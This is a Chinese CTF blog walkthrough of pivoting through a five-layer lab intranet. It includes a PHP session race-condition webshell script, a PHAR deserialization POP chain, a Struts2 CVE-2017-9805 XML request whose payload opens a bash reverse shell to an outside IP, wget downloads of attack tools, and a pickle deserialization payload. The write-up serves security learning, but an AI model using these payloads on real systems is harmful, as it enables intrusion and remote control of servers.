March 2, 2023

记一次五层内网穿透

——启语——

在这次五层内网漫游的过程中,感受到了内网的愉悦,同时在AIr师傅的帮助下,学会了很多新东西,也是很感谢air的耐心指导,对于一直在打外网的我突然接触内网还是有点不适应,好在多少之前玩过一阵子的内网,所以不至于太懵逼,希望自己能在接下来的时间里再接再厉(靶场只能续机2次,好难受啊!!!),所以我这次写的也会尽可能详细

0X1工具

内网穿透代理:earthworm,venom,proxifiler
信息搜集:fscan一把嗦
VPS:我使用了2台,理论一台即可(偷懒)
工具很少,但是都很重要,这次也玩熟练了

这里我也附上我的打包链接!:

链接:https://pan.baidu.com/s/1Y2PM0idOEZDWU6afmIjf4Q?pwd=NNUS
提取码:NNUS

0X2解题

0X2.0 Proxifiler配置

最终配置如下:
image.png
image.png
首先先看结果图:
image.png
拓扑图就如上,A代表的是我们的VPS,一共五层,所以说是五层代理

0X2.1 一层代理

image.png
这里也挺有讲究的,讲的是裸包含的几种骚方法,这里air也提供了一篇总结的很好的文章:


下面我用的是条件竞争,也是比较普遍的方法,自己写了个脚本就放下面了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#Author:Boogipop
import requests
import io
import threading
url='http://36.138.41.66:39818/' #引入url
sessionid='boogipop' #PHPSESSID的值
data={
"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');" #将木马写入1.php
}
def write(session):
fileBytes=io.BytesIO(b'a'*1024*50) #上传一个50k的文件
while True:
response=requests.post(url,data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>' #将这段代码写入session文件中
},
cookies={
'PHPSESSID':sessionid #同上,PHPSESSID的值
},
files={
'file':('boogipop.jpg',fileBytes) #上传这个文件单单只是为了抓个包,其他一点用都没有
}
)
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={
'PHPSESSID':sessionid #包含session文件让第一个eval执行,然后执行第二个eval
})
response2=session.get(url+'1.php') #获得回显
if response2.status_code==200:
print('++++++perfect+++++')
else:
print(response2.status_code)
if __name__=='__main__':
evnet=threading.Event() #开启线程
with requests.session() as session: #多线程操作
for i in range(10):
threading.Thread(target=write,args=(session,)).start()
for i in range(10):
threading.Thread(target=read, args=(session,)).start()
evnet.set() #将信号标志设置为True,并唤醒所有处于等待状态的线程。

竞争完毕后蚁剑上号(这里也有些little story,到底是选哥斯拉还是冰蝎还是蚁剑呢,这里左右试了试发现还是蚁剑最好用,别问我为什么,其他的bug感觉就是多,虽然ui界面丰富,功能也全一些,咳咳不bb了)
image.png
第一层结束

0x2.2 二层代理

拿下了第一个webshell,要干的事情还很多不能休息,找个地方上传工具,fscan和ew或者venom
记得给x权限啊
image.png
先看一下他的网段,看到了个10.18.127.153,扫一下C段,先挂代理再扫,信息会更多image.png
image.png
看到了shiro框架,直接当一回脚本小子:
image.png
看到了rememberme字样:
image.png
直接就可以00A5687B.png00A57B67.png进去了,上号:
image.png
拿到了第二个flag,二层告一段落

0x2.3 三层代理

层层笔逼近了属于是,接下来也是重复一样的步骤:
设置代理,fscan扫,访问内网
我们刚刚拿下了第二个主机,我们也是把我们的工具上传,扫一下,再代理
image.png
看网段,这次是128段,扫一下:
image.png
目的是去访问10.18.128.173
设置代理:
image.png
image.png
image.png
image.png
成功转接,这边要注意哦,ip别搞混了,从第一台靶机可以知道第一层的内网ip:
image.png
访问内网题目:
image.png
用dirsearch扫出来www.zip源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
class Model
{
public $test;
public $str;

public function __construct($name)
{
$this->str = $name;
}

public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;

public function __construct($file)
{
$this->source = $file;
echo $this->source;
}

public function __toString()
{
$content = $this->str['str']->source;
return $content;
}

public function __set($key, $value)
{
$this->$key = $value;
}
}

class Test
{
public $file;
public $params;

public function __construct()
{
$this->params = array();
}

public function __get($key)
{
return $this->get($key);
}

public function get($key)
{
if (isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "phpinfo();";
}
return $this->execute($value);
}

public function execute($value)
{
@eval($value);
}
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<html>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="upfile" id="file" /> (只允许上传JPG图片)



<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>


<?php
require_once('class.php');

ini_set( 'display_errors', 0 );
if(isset($_POST['submit']) && is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"];
$name=$upfile["name"];
if(preg_match("/php|pht|zip|phar/i",$name))
{
die("Forbidden upload!");
}
$extName=strtolower(end(explode('.',$name)));
$type=$upfile["type"];
$size=$upfile["size"];
$tmp_name=$upfile["tmp_name"];
$okType=true;
if($extName!='jpeg' && $extName!='jpg'){
die("扩展名不为jpg");
}
if($type!='image/pjpeg' && $type!='image/jpeg'){
die("文件类型不为jpg");
}
if($size>20000)
die("Size too large.<br>");

move_uploaded_file($upfile["tmp_name"],"upload/" .md5(mktime()).'.jpg');
echo "Stored";
}

if(is_file($_GET['file']))
{
die("File exists!");
}

?>

简单的审计后不难知道就是一个phar反序列化而已,在index.php的file参数触发:
以下是我构造的pop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class Model
{
public $test;
public $str;

public function __construct()
{
$this->str = new Show();
}

}

class Show
{
public $source;
public $str;

public function __construct()
{
$this->str['str']=new Test();
}
}

class Test
{
public $file;
public $params;

public function __construct()
{
$this->params['source'] = "file_put_contents('/var/www/html/1.php','<?php eval(\$_POST[1]);?>');";
}
}
$model=new Model();
@unlink("phar.phar");
$phar=new Phar("third.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($model);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering()
?>

将生成的phar文件后缀名改为jpg上传,然后注意一下源代码里:
image.png
mktime()代表的就是时间戳,所以这边我们要爆破时间戳去找到文件名:
image.png
找到文件后phar包含:
image.png
上号:
image.png
第三层致此结束

0x2.4 四层代理

扫段:
image.png
fscan嗦:
image.png
目标网址是http://10.18.129.122:8080
搭建代理:
image.png
访问靶场:
image.png
image.png
看报错可以很快的知道是啥框架,这是一个status2框架,经过测试发现考点是CVE2017-9805
一个RCE的漏洞,这边可以反弹shell到我另一个公网vps(为了方便,假如用一台的话,就开两个就好了,这边主要是为了思路清晰)
image.png这就是开2个一样的就行,可能大家都以为不能这样,实际完全可以
请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
POST /orders/4/edit HTTP/1.1
Host: 10.18.129.122:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.18.129.122:8080/orders.xhtml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=512614C8B8ADB67114871A0AA7EC8827
If-None-Match: -1346813468
Connection: close
Content-Type: application/xml
Content-Length: 1807

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string><string>-c</string><string>bash -i &gt;&amp;/dev/tcp/175.178.154.216/6666 0&gt;&amp;1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>


image.png
第四层结束~

0x2.5 五层代理

得到了反弹shell之后可能大家就不知道咋办了,这里可以用wget去下就好了:

1
2
wget http://43.140.251.169/agent_linux_x64
wget http://43.140.251.169/fscan_amd64

image.png
工具在手天下我有!
开扫!!!!!!:
image.png
image.png
EZEZ~
搭建代理:
image.png
image.png
image.png
到此基本就结束了,继续去访问靶场:
http://10.18.130.50
image.png
根据提示name是可以控制的:
image.png
这边我以为有SSTI,测试了好久发现没用,而且题目给了源码www.zip,但是不在/www.zip而是/static/www.zip:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, request
from flask import send_from_directory
from jinja2 import Template
from pickle import loads
import os,base64
app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')
if "{" in name:
return 'Wrong name'
t = Template("Hello " + name+"\n\n\n\n\n<!--/?name=guest\nEnviroment: python 3.5\n src in www.zip-->")
return t.render()

@app.route("/download/<filename>")
def download(filename):
if request.method=="GET":
if os.path.isfile(os.path.join('static', filename)):
return send_from_directory('static',filename,as_attachment=True)

@app.route("/load", methods=['POST','GET'])
def load():
if request.method=="POST":
file=request.form['file']
backlist=['os','system','eval','popen','popen2']
for back in backlist:
if back in file:
return 'No black'
unpickler=loads(base64.b64decode(file))
return unpickler

if __name__ == "__main__":
app.run()

非常非常简单的代码审计,只要是个人都能看到首先ban了{那就注定没SSTI,其次load里有个pickle反序列化,所以肯定就是考这个了
构造opcode:

1
2
3
4
5
6
7
8
import pickle
import base64
class payload(object):
def __reduce__(self):
return (eval,("__import__('os').system('ls / >/app/static/6.txt')",))
# return (os.system,('ls',))#错误写法,因为这里已经导入了os,靶场又没
a = payload()
print(base64.b64encode(pickle.dumps(a)))

这边根据flask框架,很容易知道目录是/app/static,我们先把根目录有啥都导出来:(在/static/6.txt获得)
image.png
看到了flag__flag__xoxv
改一下payload之后:
image.png

——结语———

这对我来说无疑是一次颇有兴趣的尝试,比起之前的一些靶场,这个更加偏向于我们对内网的理解,同时也考了很多web的知识,希望今后可以更加熟练

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#内网穿透#内网